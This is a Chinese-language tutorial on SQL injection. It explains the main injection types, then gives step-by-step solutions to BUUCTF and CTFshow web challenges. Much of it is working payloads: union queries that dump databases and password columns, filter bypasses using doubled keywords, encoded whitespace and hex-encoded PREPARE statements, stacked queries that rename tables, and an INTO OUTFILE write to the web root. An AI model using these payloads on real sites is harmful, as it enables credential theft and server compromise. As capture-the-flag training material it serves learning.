????
一、前言
??????? SQL注入漏洞(SQL injection)是WEB層面高危的漏洞之一,也是常見的攻擊方式。
二、本質
1、什么是SQL注入
????????SQL 注入是一種利用應用程序對用戶輸入數據過濾不嚴格,將惡意 SQL 代碼插入到正常 SQL 語句中,從而操控數據庫查詢邏輯的攻擊技術。
????????其核心原理是混淆代碼與數據邊界,使攻擊者能夠執行非授權的數據庫操作。
????? 關鍵條件
-
用戶可控輸入:攻擊者能控制應用程序的輸入參數(如 URL、表單、Cookie)。
-
拼接 SQL 語句:程序直接將用戶輸入拼接到 SQL 查詢中,未做過濾或轉義。
-
數據庫權限過高:應用使用的數據庫賬戶權限過大(如
root
)
三、注入類型
1. 聯合查詢注入
-
原理:通過
UNION
操作符將惡意查詢拼接到原查詢,合并結果集 -
利用條件:
-
原查詢的列數與
UNION
后的查詢列數一致 -
頁面有回顯查詢結果的功能
-
2. 報錯注入
????????原理:故意觸發數據庫報錯,使錯誤信息中包含敏感數據
3. 布爾盲注?
????????原理:通過頁面返回的布爾狀態(真/假差異,逐字符推斷數據
????????適用場景:頁面無回顯,但會根據 SQL 執行結果返回不同內容(如登錄成功/失敗)?
4. 時間盲注
????????原理:通過數據庫的延時函數(如 SLEEP()、BENCHMARK()),根據響應時間判斷條件真假
????????適用場景:頁面無任何回顯差異,但能感知響應延遲
5. 堆疊查詢注入
????????原理:利用分號 ; 執行多條 SQL 語句,實現增刪改查操作
????????依賴條件:數據庫支持多語句執行(如 MySQL 的 mysqli_multi_query)
6. 二次注入
????????原理:惡意數據先被存儲到數據庫,后續查詢時被觸發執行
????????特點:繞過輸入時的過濾(過濾不徹底或存儲后未轉義)
7. 寬字節注入
????????原理:利用數據庫字符集編碼(如 GBK)的特性,繞過轉義符(\)
????????關鍵:構造 %df',與轉義符 \ 結合成寬字符(如 %df%5c 對應 運),使單引號逃逸
?8、姿勢總結(自己總結的,根據實際情況改變)
?1、判斷注入點
?id=1' #看是否存在sql注入
#1' or 1=1#
#和--在sql語句中起著注釋的作用,將后面的語句注釋掉,+ 則代表空,#在瀏覽器中需要url編碼
?id=1' and 1=1 --+ #觀察是否有回顯
?id=1' amd 1=2 --+
?2、判斷當前表的字段個數
1' order by 1# --+
?3、判斷顯示位
?id=1' union select 1,2,3--+
4、爆出庫
1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?5、爆出表
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='庫名'--+
?6、爆出列
?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='庫名' and table_name='表名'--+
?7、查詢內容
?id=-1' and 1=2 union select 1,2,group_concat(字段) from 庫名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
四、靶場實現
BUUCTF CTF
1、easy_sql
1、進入靶場,輸入1’ or 1=1
得到
2、輸入1‘ or 1#將后面的注釋掉
得到回顯
3、判斷一下字段個數' union select 1,2;#
select被過濾
4、輸入1;show databases;#爆破庫
得到該表的數據庫內容
5、輸入1';show tables;#爆破表
得到兩表
6、查看一下第一個表1919810931114514的表結構
有兩種方式
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
#注意,如果tableName是純數字,需要用包裹,比如 1';desc 1919810931114514`;#
得到類型為字符型
方法一:因為select關鍵字被過濾了,所以我們可以通過預編譯的方式拼接select 關鍵字:
1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#
方法二:
select*from`1919810931114514`
語句進行16進制編碼,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替換payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同時,我們也可以先定義一個變量并將sql語句初始化,然后調用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
方法三:通過修改表名和列名來實現。我們輸入1后,默認會顯示id為1的數據,可以猜測默認顯示的是words表的數據,查看words表結構第一個字段名為id我們把words表隨便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以達到直接輸出flag字段的值的效果
1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#
方法四:此題還可以通過handle直接出答案: 1';HANDLER
1919810931114514OPEN;HANDLER
1919810931114514READFIRST;HANDLER
1919810931114514CLOSE;
2、LoveSQL
1、使用1'出現報錯說明存在SQL注入
2、使用萬能密碼得到
3、爆字段
check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1
得到有3個字段
4、看回顯
1' union select 1,2,3#
得出回顯位在2,3
5、爆數據庫
1‘ union select 1,database(),version()#
得到數據庫名geek 和數據庫版本
6、爆數據表
1' union select 1,2,group_concat(table_name)from information_schema.tables where
table_schema=database()#
得到兩張表
7、爆破字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='l0ve1ysq1'#
8、爆破flag
1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1
3、BABYSQL
雙寫繞過
進入靶場
1、使用萬能密碼嘗試
發現有過濾但是不知過濾什么
2、查看字段
發現過濾了or,雙寫繞過
1' oorr by 1#
3、爆破數據庫
發現union select過濾
1' ununionion seselectlect 1,2,database()#
雙寫過后
找到數據庫名稱
4、爆破表
1' ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where
table_schema='geek'#
雙寫后
1 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom
infoorrmation_schema.tables whwhereere table_schema='geek'#
5、爆破列表
1 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom
infoorrmation_schema.columns whwhereere table_name='b4bsql'#
6、爆破字段
1 1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
得到flag
CTFshow
WEB171
1、?id=1' order by 3--+ //判斷回顯位有三個字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出庫名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表 ctfshow_user4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段 id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到數據 admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}
web172
1、?id=1' order by 2--+ //判斷回顯位有兩個字段2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+//得到庫名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1沒有flag4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到數據
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}
web173
1、?id=1' order by 3--+ //判斷回顯位有三個字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出庫名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表 ctfshow_user,ctfshow_user2,ctfshow_user34、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段 id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}
web174
//檢查結果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查詢成功';}1、?id=1' order by 3--+ //判斷回顯位有2個字段2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用數字代表字段時沒有回顯,應該是被過濾了,所以換成null
得到庫名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因為0-9都被過濾了,所以將1-9-0替換成A-J
查詢得ctfshow_userD替換為數字為ctfshow_user4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替換回來
def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("輸入:")
out = rev_replace(txt)
print("替換后: ", out)輸入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替換后: ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag
web175
1、寫時間盲注腳本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接將flag寫入到靶場服務器文件中
web176
1、1' order by 4--+ //無回顯判斷出回顯位有三位
2、1' union select 1,2,3--+ //無法查詢到數據1'--+和1' --+ //可以查詢到數據說明單引號和空格沒有被過濾1' union Select database(),2,3--+//查詢到數據庫名稱ctfshow_web所以是select被過濾了,用大寫繞過
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+查詢到數據庫表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+查詢到數據庫列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+查詢字段數據//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}得到flag
web177
1、1'--+無數據顯示--+編碼后1'%23可以回顯數據,所以--+被過濾1' %23無法顯示數據,空格也被過濾1'%0a%23有回顯
2、1'%0aor%0a1=1%23萬能密碼直接得到flag
3、1'%0aorder%0aby%0a4%23 //判斷回顯位為3按照上題步驟將空格和--+替換即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23得到flag
web178
1、與上題一樣空格和--+被過濾
萬能密碼直接得到flag或替換
web179
其他可替代空格的字符
URL編碼 ASCII字符 說明
%20 空格 標準空格
%09 制表符 水平制表符(Tab)
%0a 換行符 新行(LF,Unix換行)
%0d 回車符 回車(CR,舊版Mac換行)
%0c 換頁符 分頁符(Form Feed)
空格與--+與%0a都被過濾
1、1'%0cor%0c1=1%23
web180
空格,--+,%0a,%23都被過濾了
用--%c閉合
也可以這樣'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到數據庫ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag
web181
1、1'%0cor%0c1=1--%0c萬能密碼
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、這里我們主要用到and的優先級比or高可以看到源代碼里面有and可以在and后面加or使其在執行了and以后 or的前后都執行所以構造payload-1'||username='flag
web182
1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配
至此SQL注入告一段落